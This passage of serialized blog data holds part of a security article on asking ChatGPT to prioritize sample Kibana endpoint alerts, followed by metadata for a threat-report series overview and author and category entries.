activity, and should be evaluated based on their severity and impact on the system. Ultimately, the best course of action is to have a clear plan and protocol for responding to alerts, and to evaluate each alert based on its specific context and potential impact on the system being monitored.`}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"After adding the new fields to the original events, we get a more informed response (as expected). We try adding two fields that should dramatically impact the response and recommendations provided.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Feeding more context to ChatGPT can always help get a better answer, but remember when cost is a concern, sometimes we have to be very picky about which fields (and how much data) we want to send. To no surprise, we immediately obtain improved responses after adding these important pieces of information. In this case, since the alerts are all very similar, it chooses the timestamp to prioritize the alert.\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsx)(e.p,{children:'\"kibana.alert.rule.risk_score\", \"kibana.alert.rule.severity\",'}),`\n`]}),`\n`,(0,t.jsx)(e.h5,{id:\"prioritizing-recommendation\",children:\"Prioritizing recommendation\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsx)(e.p,{children:\"It seems like all the alerts have the same information and are related to the same type of alert: Malicious Behavior Prevention Alert. They are all of medium severity and have the same risk score. Therefore, I suggest investigating the most recent alert since it was detected at a later time, and it might indicate that the issue is ongoing or has occurred again. In this case, the alert with the timestamp of 2023-03-07T20:42:25.969Z is the most recent one, so I recommend prioritizing it. However, I would still recommend investigating all the alerts since they are related to the same type of threat and could provide valuable information for understanding and mitigating the issue.\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"We can try shrinking similar alerts down to one alert by rule name to see how the volume of alerts (in a contrived way) impacts the response. Yet again, we get a slightly more direct response even though the alerts have the same risk score and severity level. At least this time we get a specific rule name somewhere in the response.\"}),`\n`,(0,t.jsx)(e.h5,{id:\"reduced-sample-alerts-by-rule-name\",children:\"Reduced sample alerts by rule name\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`{'kibana.alert.last_detected': '2023-03-07T20:42:25.969Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 74, 'kibana.alert.rule.severity': 'critical'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Bitsadmin Activity', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 47, 'kibana.alert.rule.severity': 'medium'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft Office Child Process', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 21, 'kibana.alert.rule.severity': 'low'}\n`})}),`\n`]}),`\n`,(0,t.jsx)(e.h5,{id:\"prioritized-alert\",children:\"Prioritized alert\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsx)(e.p,{children:'Based on the information provided, all three alerts have the same risk score and severity level, and they appear to be related to the same type of detection for malicious behavior in the Elastic Endpoint Security system. Therefore, it may be important to investigate all three alerts to ensure that there are no broader patterns of malicious activity in the system. However, if there are limitations on resources and time available for investigation, it may be reasonable to prioritize the alert with the most specific and detailed name and description, which in this case is \"Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection.\" This alert may indicate a more serious and urgent threat that requires immediate attention.'}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Finally, we manipulate the fields to change the severity and risk score for experimental purposes and set the DARKRADIATION alert to a critical severity and high-risk score. We end the exploration with a direct response based on specific fields recommending the alert DARKRADIATION, and ChatGPT explains why the alert is the best choice, which is closer to what we're looking for.\"}),`\n`,(0,t.jsx)(e.p,{children:\"So why would we want to use an LLM if we can simply prioritize alerts using a rules-based strategy (e.g. sort alerts by highest severity)? As we saw earlier, other factors can impact the response (volume of alerts, the similarity of alerts, etc.), where at the end of the day the recommendation may be ultimately based on a timestamp or another field provided that is not as obvious to the responder.\"}),`\n`,(0,t.jsx)(e.h5,{id:\"sample-alerts-with-varying-severity--risk-score\",children:\"Sample alerts with varying severity \u0026 risk score\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`{'kibana.alert.last_detected': '2023-03-07T20:42:25.969Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 74, 'kibana.alert.rule.severity': 'critical'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Bitsadmin Activity', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 47, 'kibana.alert.rule.severity': 'medium'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft Office Child Process', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 21, 'kibana.alert.rule.severity': 'low'}\n`})}),`\n`]}),`\n`,(0,t.jsx)(e.h5,{id:\"prioritized-alert-with-details\",children:\"Prioritized alert with details\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsx)(e.p,{children:`Based on the severity and risk scores provided in the alerts, the Malicious Behavior Prevention Alert for DARKRADIATION Ransomware Infection should be prioritized. This alert has a severity level of \"critical\" and a risk score of 74, which indicates that it poses a significant threat and requires immediate attention. In comparison, the other two alerts have lower severity levels and risk scores, suggesting that they are of lower priority. However, it's worth noting that the specific context and environment in which these alerts were generated could also impact their prioritization. Therefore, it's important to carefully evaluate all available information before making a final decision.`}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"We've always known more context potentially can yield better responses. In this case, we used a combination of 1) reducing the alerts by Rule Name, and 2) providing more useful fields targeted to the question we wanted to answer. If we change the question, then we most likely need to provide different fields, which gets back to a broader question of what data should we provide to cost-effectively get the answer we're looking for.\"}),`\n`,(0,t.jsx)(e.h5,{id:\"small-discussion-on-llms-for-undesirable-outcomes\",children:\"Small discussion on LLMs for undesirable outcomes\"}),`\n`,(0,t.jsx)(e.p,{children:\"The major question here is, how can the security industry take advantage of LLMs like ChatGPT to prepare for undesirable outcomes (e.g., data breach, malware infection, insider threat, DOS-type cyber attack). This topic drives towards an exciting new topic of domain-specific context, and if LLM is the giant machine, then what will we get out of it?\"}),`\n`,(0,t.jsx)(e.p,{children:\"Here are some well-known concepts that we can tap into: - Contextualizing alerts: Deep diving through past alerts and providing relevant insights to the analyst.\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[`\n`,(0,t.jsx)(e.p,{children:\"Training new models: Applying transfer-learning techniques to train new predictive models that are tailored to an organization's specific dataset and security needs. This training would cover large sets of historical reports, logs, ELT-prepped network traffic, responses, etc.\"}),`\n`]}),`\n`,(0,t.jsxs)(e.li,{children:[`\n`,(0,t.jsx)(e.p,{children:\"Automating all the things: Automating the mundane tasks away, sounds simple, but will challenge our ability to trust in automation.\"}),`\n`]}),`\n`,(0,t.jsxs)(e.li,{children:[`\n`,(0,t.jsx)(e.p,{children:\"Threat modeling: Create highly representative threat models and attacks that adversaries may exploit to reinforce and improve an organization's security posture.\"}),`\n`]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"We've seen the security world gravitate towards ML for anomaly detection. As more of these LLMs become available and grow in capability, we have to tune ChatGPT magic to fit in our existing workflows and be comfortable replacing/upgrading old processes. At the very least, new ChatGPT applications will inspire new research questions, experiments, and proofs-of-concept. The key factor is not who develops the initial security-LLM application, but rather who can derive the most benefit from it for their product or organization.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Start asking the questions. What am I missing in my policy? What gaps are in my detections? What does this alert mean? These types of questions will lead to great opportunities to use LLMs and add the extra protection you may have missed. With \",(0,t.jsx)(e.a,{href:\"https://openai.com/research/gpt-4\",rel:\"nofollow\",children:\"GPT-4\\u2019\"}),\"s release and image capabilities, improved reasoning creates even more opportunities to extend into the security domain. Just imagine capturing user activities in a graphic that morphs over time (e.g. standard plot, rorschach graphic, etc.) and using a future GPT-X that can interpret trends, detect anomalies, or even track entity analytics! The classification and analysis possibilities are endless, and I encourage everyone to continue merging into new domains.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"It was fun playing around with the overlapping domains of security and LLMs, and the gist file we provide may one day evolve into a full project. \\u{1F937} We didn't prove out all of the use cases, but that leaves room for future opportunities, research, POCs and research to explore with the future versions of gpt!\"}),`\n`,(0,t.jsx)(e.p,{children:\"We hope you enjoyed the read! See below for how to get started with the summary demo.\"}),`\n`,(0,t.jsx)(e.h5,{id:\"try-it-yourself\",children:\"Try it yourself!\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"If you want to try this out for yourself, you'll need a few things. - \",(0,t.jsx)(e.a,{href:\"https://platform.openai.com/signup\",rel:\"nofollow\",children:\"Signup\"}),\" to get an OpenAI account, following the \",(0,t.jsx)(e.a,{href:\"https://help.openai.com/en/articles/5112595-best-practices-for-api-key-safety\",rel:\"nofollow\",children:\"guide\"}),\" for best practices. - Grab the \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/Mikaayenson/9efff700e5d799c672c6b17338d2de6a\",rel:\"nofollow\",children:\"gist\"}),\", which has the code. Disclaimer: The API continues to evolve, which may require minor changes. - This example uses Elastic, so \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/cloud/cloud-trial-overview/security\",rel:\"nofollow\",children:\"Signup\"}),\" to get a free Elastic security trial. You will also benefit from having some experience with the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/detection-engine-overview.html\",rel:\"nofollow\",children:\"security detection engin\"}),\"e.\"]})]})}function k(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(d,i)})):d(i)}var T=k;return v(E);})();\n;return Component;"},"_id":"articles/exploring-applications-of-chatgpt-to-improve-detection-response-and-understanding.mdx","_raw":{"sourceFilePath":"articles/exploring-applications-of-chatgpt-to-improve-detection-response-and-understanding.mdx","sourceFileName":"exploring-applications-of-chatgpt-to-improve-detection-response-and-understanding.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/exploring-applications-of-chatgpt-to-improve-detection-response-and-understanding"},"type":"Article","imageUrl":"/assets/images/exploring-applications-of-chatgpt-to-improve-detection-response-and-understanding/blog-elastic-train.jpg","readingTime":"21 min read","series":"","url":"/exploring-applications-of-chatgpt-to-improve-detection-response-and-understanding","headings":[{"level":3,"title":"Preamble","href":"#preamble"},{"level":4,"title":"Overview","href":"#overview"},{"level":5,"title":"Simple use case: ELI5","href":"#simple-use-case-eli5"},{"level":5,"title":"Malicious Behavior Prevention alert","href":"#malicious-behavior-prevention-alert"},{"level":4,"title":"Alert prioritization","href":"#alert-prioritization"},{"level":5,"title":"Sample alerts","href":"#sample-alerts"},{"level":5,"title":"Generic response","href":"#generic-response"},{"level":5,"title":"Generic response with field details","href":"#generic-response-with-field-details"},{"level":5,"title":"Prioritizing recommendation","href":"#prioritizing-recommendation"},{"level":5,"title":"Reduced sample alerts by rule name","href":"#reduced-sample-alerts-by-rule-name"},{"level":5,"title":"Prioritized alert","href":"#prioritized-alert"},{"level":5,"title":"Sample alerts with varying severity \u0026 risk score","href":"#sample-alerts-with-varying-severity--risk-score"},{"level":5,"title":"Prioritized alert with details","href":"#prioritized-alert-with-details"},{"level":5,"title":"Small discussion on LLMs for undesirable outcomes","href":"#small-discussion-on-llms-for-undesirable-outcomes"},{"level":5,"title":"Try it yourself!","href":"#try-it-yourself"}],"author":[{"title":"Mika Ayenson, PhD","slug":"mika-ayenson","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var a=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)a(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,s)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let o of _(n))!j.call(t,o)\u0026\u0026o!==e\u0026\u0026a(t,o,{get:()=\u003en[o],enumerable:!(s=f(n,o))||s.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?x(g(t)):{},i(n||!t||!t.__esModule?a(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(a({},\"__esModule\",{value:!0}),t);var m=l((F,c)=\u003e{c.exports=_jsx_runtime});var k={};M(k,{default:()=\u003eh,frontmatter:()=\u003ey});var r=d(m()),y={title:\"Mika Ayenson, PhD\",slug:\"mika-ayenson\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var h=D;return p(k);})();\n;return Component;"},"_id":"authors/mika-ayenson.mdx","_raw":{"sourceFilePath":"authors/mika-ayenson.mdx","sourceFileName":"mika-ayenson.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/mika-ayenson"},"type":"Author","imageUrl":"","url":"/authors/mika-ayenson"}],"category":[{"title":"Detection science","slug":"detection-science","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var c=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)c(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026c(t,o,{get:()=\u003ee[o],enumerable:!(s=f(e,o))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(d(t)):{},i(e||!t||!t.__esModule?c(n,\"default\",{value:t,enumerable:!0}):n,t)),D=t=\u003ei(c({},\"__esModule\",{value:!0}),t);var u=j((h,a)=\u003e{a.exports=_jsx_runtime});var X={};l(X,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Detection science\",slug:\"detection-science\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var F=C;return D(X);})();\n;return Component;"},"_id":"categories/detection-science.mdx","_raw":{"sourceFilePath":"categories/detection-science.mdx","sourceFileName":"detection-science.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/detection-science"},"type":"Category","url":"/categories/detection-science"},{"title":"Machine learning","slug":"machine-learning","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)o(t,e,{get:n[e],enumerable:!0})},c=(t,n,e,i)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let a of l(n))!_.call(t,a)\u0026\u0026a!==e\u0026\u0026o(t,a,{get:()=\u003en[a],enumerable:!(i=g(n,a))||i.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?x(f(t)):{},c(n||!t||!t.__esModule?o(e,\"default\",{value:t,enumerable:!0}):e,t)),h=t=\u003ec(o({},\"__esModule\",{value:!0}),t);var m=j((b,s)=\u003e{s.exports=_jsx_runtime});var F={};M(F,{default:()=\u003eD,frontmatter:()=\u003ep});var r=d(m()),p={title:\"Machine learning\",slug:\"machine-learning\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var D=C;return h(F);})();\n;return Component;"},"_id":"categories/machine-learning.mdx","_raw":{"sourceFilePath":"categories/machine-learning.mdx","sourceFileName":"machine-learning.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/machine-learning"},"type":"Category","url":"/categories/machine-learning"},{"title":"Security operations","slug":"security-operations","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of p(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var d=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},i(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var u=j((b,c)=\u003e{c.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eM});var r=d(u()),M={title:\"Security operations\",slug:\"security-operations\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return y(F);})();\n;return Component;"},"_id":"categories/security-operations.mdx","_raw":{"sourceFilePath":"categories/security-operations.mdx","sourceFileName":"security-operations.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-operations"},"type":"Category","url":"/categories/security-operations"},{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Generative AI","slug":"generative-ai","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,i)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of g(e))!j.call(t,a)\u0026\u0026a!==n\u0026\u0026o(t,a,{get:()=\u003ee[a],enumerable:!(i=f(e,a))||i.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},s(e||!t||!t.__esModule?o(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(o({},\"__esModule\",{value:!0}),t);var u=l((b,c)=\u003e{c.exports=_jsx_runtime});var F={};d(F,{default:()=\u003eD,frontmatter:()=\u003ev});var r=p(u()),v={title:\"Generative AI\",slug:\"generative-ai\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"categories/generative-ai.mdx","_raw":{"sourceFilePath":"categories/generative-ai.mdx","sourceFileName":"generative-ai.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/generative-ai"},"type":"Category","url":"/categories/generative-ai"}]},{"title":"Elastic Global Threat Report Multipart Series Overview","slug":"gtr-multipart-series-overview","date":"2023-04-24","description":"Each month, the Elastic Security Labs team dissects a different trend or correlation from the Elastic Global Threat Report. This post provides an overview of those individual publications.","image":"gtr-blog-image-720x420.png","body":{"raw":"\nWhen we [announced](https://www.elastic.co/security-labs/2022-elastic-global-threat-report-announcement) the inaugural Elastic Global Threat Report last year, the Elastic Security Labs team knew we wanted to follow it with a series that went a little deeper on several topics like trends and forecasting. Not only would this allow us to keep the report concise, but it would provide us with a way to be more transparent by diving deep.\n\nThis post will be updated with each new article in the series, published monthly:\n\n- [Topic: Defense Evasion](https://www.elastic.co/blog/elastic-global-threat-report-breakdown-defense-evasion)\n- [Topic: Credential Access](https://www.elastic.co/blog/elastic-global-threat-report-breakdown-credential-access)\n\nIn April, we published an [updated](https://ela.st/gtr) version of the Global Threat Report Spring Edition which included new insights online and interactive.\n","code":"var Component=(()=\u003e{var d=Object.create;var o=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var w=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var b=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),f=(t,e)=\u003e{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},a=(t,e,n,l)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let i of u(e))!g.call(t,i)\u0026\u0026i!==n\u0026\u0026o(t,i,{get:()=\u003ee[i],enumerable:!(l=p(e,i))||l.enumerable});return t};var m=(t,e,n)=\u003e(n=t!=null?d(w(t)):{},a(e||!t||!t.__esModule?o(n,\"default\",{value:t,enumerable:!0}):n,t)),v=t=\u003ea(o({},\"__esModule\",{value:!0}),t);var c=b((_,s)=\u003e{s.exports=_jsx_runtime});var T={};f(T,{default:()=\u003eE,frontmatter:()=\u003ey});var r=m(c()),y={title:\"Elastic Global Threat Report Multipart Series Overview\",slug:\"gtr-multipart-series-overview\",date:\"2023-04-24\",description:\"Each month, the Elastic Security Labs team dissects a different trend or correlation from the Elastic Global Threat Report. This post provides an overview of those individual publications.\",author:[{slug:\"devon-kerr\"}],image:\"gtr-blog-image-720x420.png\",category:[{slug:\"reports\"},{slug:\"security-research\"}]};function h(t){let e=Object.assign({p:\"p\",a:\"a\",ul:\"ul\",li:\"li\"},t.components);return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(e.p,{children:[\"When we \",(0,r.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/2022-elastic-global-threat-report-announcement\",rel:\"nofollow\",children:\"announced\"}),\" the inaugural Elastic Global Threat Report last year, the Elastic Security Labs team knew we wanted to follow it with a series that went a little deeper on several topics like trends and forecasting. Not only would this allow us to keep the report concise, but it would provide us with a way to be more transparent by diving deep.\"]}),`\n`,(0,r.jsx)(e.p,{children:\"This post will be updated with each new article in the series, published monthly:\"}),`\n`,(0,r.jsxs)(e.ul,{children:[`\n`,(0,r.jsx)(e.li,{children:(0,r.jsx)(e.a,{href:\"https://www.elastic.co/blog/elastic-global-threat-report-breakdown-defense-evasion\",rel:\"nofollow\",children:\"Topic: Defense Evasion\"})}),`\n`,(0,r.jsx)(e.li,{children:(0,r.jsx)(e.a,{href:\"https://www.elastic.co/blog/elastic-global-threat-report-breakdown-credential-access\",rel:\"nofollow\",children:\"Topic: Credential Access\"})}),`\n`]}),`\n`,(0,r.jsxs)(e.p,{children:[\"In April, we published an \",(0,r.jsx)(e.a,{href:\"https://ela.st/gtr\",rel:\"nofollow\",children:\"updated\"}),\" version of the Global Threat Report Spring Edition which included new insights online and interactive.\"]})]})}function x(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(h,t)})):h(t)}var E=x;return v(T);})();\n;return Component;"},"_id":"articles/gtr-multipart-series-overview.mdx","_raw":{"sourceFilePath":"articles/gtr-multipart-series-overview.mdx","sourceFileName":"gtr-multipart-series-overview.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/gtr-multipart-series-overview"},"type":"Article","imageUrl":"/assets/images/gtr-multipart-series-overview/gtr-blog-image-720x420.png","readingTime":"1 min read","series":"","url":"/gtr-multipart-series-overview","headings":[],"author":[{"title":"Devon Kerr","slug":"devon-kerr","description":"Elastic Security Labs Team Lead, Elastic","image":"devon-kerr.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var d=Object.create;var a=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var l=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),p=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of g(e))!f.call(t,o)\u0026\u0026o!==n\u0026\u0026a(t,o,{get:()=\u003ee[o],enumerable:!(s=x(e,o))||s.enumerable});return t};var _=(t,e,n)=\u003e(n=t!=null?d(l(t)):{},i(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),v=t=\u003ei(a({},\"__esModule\",{value:!0}),t);var m=j((y,c)=\u003e{c.exports=_jsx_runtime});var b={};p(b,{default:()=\u003eM,frontmatter:()=\u003eD});var r=_(m()),D={title:\"Devon Kerr\",description:\"Elastic Security Labs Team Lead, Elastic\",slug:\"devon-kerr\",image:\"devon-kerr.jpg\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function L(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var M=L;return v(b);})();\n;return Component;"},"_id":"authors/devon-kerr.mdx","_raw":{"sourceFilePath":"authors/devon-kerr.mdx","sourceFileName":"devon-kerr.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/devon-kerr"},"type":"Author","imageUrl":"/assets/images/authors/devon-kerr.jpg","url":"/authors/devon-kerr"}],"category":[{"title":"Reports","slug":"reports","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},c=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of p(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var 